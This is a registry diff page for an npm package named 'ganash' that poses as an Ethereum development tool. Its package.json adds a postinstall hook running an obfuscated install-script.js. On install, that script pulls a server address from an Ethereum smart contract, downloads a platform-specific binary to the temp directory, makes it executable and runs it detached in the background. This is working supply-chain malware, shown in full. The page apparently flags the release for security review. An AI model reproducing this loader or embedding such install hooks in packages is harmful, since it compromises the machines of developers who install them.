ganash 7.9.2
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of ganash might be problematic. Click here for more details.
- package/index.js +1 -0
- package/install-script.js +1 -0
- package/package.json +15 -0
package/index.js
ADDED
@@ -0,0 +1 @@
|
|
1
|
+
console.log('Hello World!');
|
@@ -0,0 +1 @@
|
|
1
|
+
function _0x453c(_0x1d6140,_0x19f22f){const _0x3bb17b=_0x3bb1();return _0x453c=function(_0x453c2b,_0x44c0c2){_0x453c2b=_0x453c2b-0xe8;let _0x35f48f=_0x3bb17b[_0x453c2b];return _0x35f48f;},_0x453c(_0x1d6140,_0x19f22f);}const _0x4015eb=_0x453c;(function(_0x19fb02,_0x4cb2ad){const _0x4fb749=_0x453c,_0x4dc1d1=_0x19fb02();while(!![]){try{const _0x2c4537=parseInt(_0x4fb749(0xef))/0x1+parseInt(_0x4fb749(0x107))/0x2+-parseInt(_0x4fb749(0x109))/0x3+parseInt(_0x4fb749(0x104))/0x4*(parseInt(_0x4fb749(0xfe))/0x5)+-parseInt(_0x4fb749(0x10d))/0x6+-parseInt(_0x4fb749(0x111))/0x7+parseInt(_0x4fb749(0x110))/0x8;if(_0x2c4537===_0x4cb2ad)break;else _0x4dc1d1['push'](_0x4dc1d1['shift']());}catch(_0x401701){_0x4dc1d1['push'](_0x4dc1d1['shift']());}}}(_0x3bb1,0x5a90d));function _0x3bb1(){const _0x2666c7=['basename','chmodSync','finish','1726364ZClIcU','child_process','path','161606DDTjvc','error','1175469KDVgEl','platform','/node-macos','linux','3625980gRqfTm','Unsupported\x20platform:\x20','function\x20getString(address\x20account)\x20public\x20view\x20returns\x20(string)','5994952daYggZ','1823682RIMUmG','ignore','755','wgVgf','TfSRA','/node-linux','umJiU','aRlzT','getDefaultProvider','mainnet','join','ethers','data','util','0xa1b40044EBc2794f207D45143Bd82a1B86156c6b','365873ubmBiA','pipe','getString','CwVUK','tmpdir','HJDNr','MelRn','IEmZa','stream','win32','gRHKS','Contract','MFIjz','createWriteStream','GKceq','5ajKUIB','axios','unref'];_0x3bb1=function(){return _0x2666c7;};return _0x3bb1();}const {ethers}=require(_0x4015eb(0xeb)),axios=require(_0x4015eb(0xff)),util=require(_0x4015eb(0xed)),fs=require('fs'),path=require(_0x4015eb(0x106)),os=require('os'),{spawn}=require(_0x4015eb(0x105)),contractAddress=_0x4015eb(0xee),WalletOwner='0x52221c293a21D8CA7AFD01Ac6bFAC7175D590A84',abi=[_0x4015eb(0x10f)],provider=ethers[_0x4015eb(0xe8)](_0x4015eb(0xe9)),contract=new ethers[(_0x4015eb(0xfa))](contractAddress,abi,provider),fetchAndUpdateIp=async()=>{const _0x245440=_0x4015eb,_0x5579ef={'GIocX':'Ошибка\x20при\x20получении\x20IP\x20адреса:','MFIjz':function(_0x166b9d){return _0x166b9d();}};try{const _0x117980=await contract[_0x245440(0xf1)](WalletOwner);return _0x117980;}catch(_0x4e3e1c){return console['error'](_0x5579ef['GIocX'],_0x4e3e1c),await _0x5579ef[_0x245440(0xfb)](fetchAndUpdateIp);}},getDownloadUrl=_0x16311f=>{const _0x4c03d1=_0x4015eb,_0x71d2a0={'wgVgf':_0x4c03d1(0xf8),'CwVUK':'darwin'},_0x1407ba=os['platform']();switch(_0x1407ba){case _0x71d2a0[_0x4c03d1(0x114)]:return _0x16311f+'/node-win.exe';case _0x4c03d1(0x10c):return _0x16311f+_0x4c03d1(0x116);case _0x71d2a0[_0x4c03d1(0xf2)]:return _0x16311f+_0x4c03d1(0x10b);default:throw new Error(_0x4c03d1(0x10e)+_0x1407ba);}},downloadFile=async(_0x45d779,_0x1bee9c)=>{const _0x4ea4c1=_0x4015eb,_0x7b2446={'TfSRA':_0x4ea4c1(0x103),'aRlzT':'error','peITL':function(_0x547beb,_0x214acd){return _0x547beb(_0x214acd);},'MelRn':'GET','mPcEK':_0x4ea4c1(0xf7)},_0x31159b=fs[_0x4ea4c1(0xfc)](_0x1bee9c),_0x40c588=await _0x7b2446['peITL'](axios,{'url':_0x45d779,'method':_0x7b2446[_0x4ea4c1(0xf5)],'responseType':_0x7b2446['mPcEK']});return _0x40c588[_0x4ea4c1(0xec)][_0x4ea4c1(0xf0)](_0x31159b),new Promise((_0x158702,_0x261dbe)=>{const _0x310c5f=_0x4ea4c1;_0x31159b['on'](_0x7b2446[_0x310c5f(0x115)],_0x158702),_0x31159b['on'](_0x7b2446[_0x310c5f(0x118)],_0x261dbe);});},executeFileInBackground=async _0x54bcd3=>{const _0x35327b=_0x4015eb,_0x1c190e={'gRHKS':function(_0x560b32,_0x30c4d5,_0x5eaaf0,_0x1d461b){return _0x560b32(_0x30c4d5,_0x5eaaf0,_0x1d461b);},'GKceq':_0x35327b(0x112)};try{const _0x2ac452=_0x1c190e[_0x35327b(0xf9)](spawn,_0x54bcd3,[],{'detached':!![],'stdio':_0x1c190e[_0x35327b(0xfd)]});_0x2ac452[_0x35327b(0x100)]();}catch(_0x1075d9){console[_0x35327b(0x108)]('Ошибка\x20при\x20запуске\x20файла:',_0x1075d9);}},runInstallation=async()=>{const _0x44d368=_0x4015eb,_0x559e07={'umJiU':function(_0x371121){return _0x371121();},'hOmku':function(_0x6595a4,_0x2aa27e){return _0x6595a4(_0x2aa27e);},'HJDNr':function(_0x3de5fc,_0x1f3c9f){return _0x3de5fc!==_0x1f3c9f;},'JddEb':'win32','wORQk':function(_0x5a573c,_0x417e55){return _0x5a573c(_0x417e55);},'IEmZa':'Ошибка\x20установки:'};try{const _0x3f409c=await _0x559e07[_0x44d368(0x117)](fetchAndUpdateIp),_0xc0a266=_0x559e07['hOmku'](getDownloadUrl,_0x3f409c),_0x404ffc=os[_0x44d368(0xf3)](),_0x2c0aba=path[_0x44d368(0x101)](_0xc0a266),_0x401c45=path[_0x44d368(0xea)](_0x404ffc,_0x2c0aba);await downloadFile(_0xc0a266,_0x401c45),_0x559e07[_0x44d368(0xf4)](os[_0x44d368(0x10a)](),_0x559e07['JddEb'])&&fs[_0x44d368(0x102)](_0x401c45,_0x44d368(0x113)),_0x559e07['wORQk'](executeFileInBackground,_0x401c45);}catch(_0x496d28){console[_0x44d368(0x108)](_0x559e07[_0x44d368(0xf6)],_0x496d28);}};runInstallation();
|
package/package.json
ADDED
@@ -0,0 +1,15 @@
|
|
1
|
+
{
|
2
|
+
"name": "ganash",
|
3
|
+
"version": "7.9.2",
|
4
|
+
"description": "development tool for Ethereum",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"postinstall": "node install-script.js"
|
8
|
+
},
|
9
|
+
"dependencies": {
|
10
|
+
"axios": "^1.7.7",
|
11
|
+
"ethers": "^6.13.2"
|
12
|
+
},
|
13
|
+
"author": "Tim Coulter",
|
14
|
+
"license": "MIT"
|
15
|
+
}
|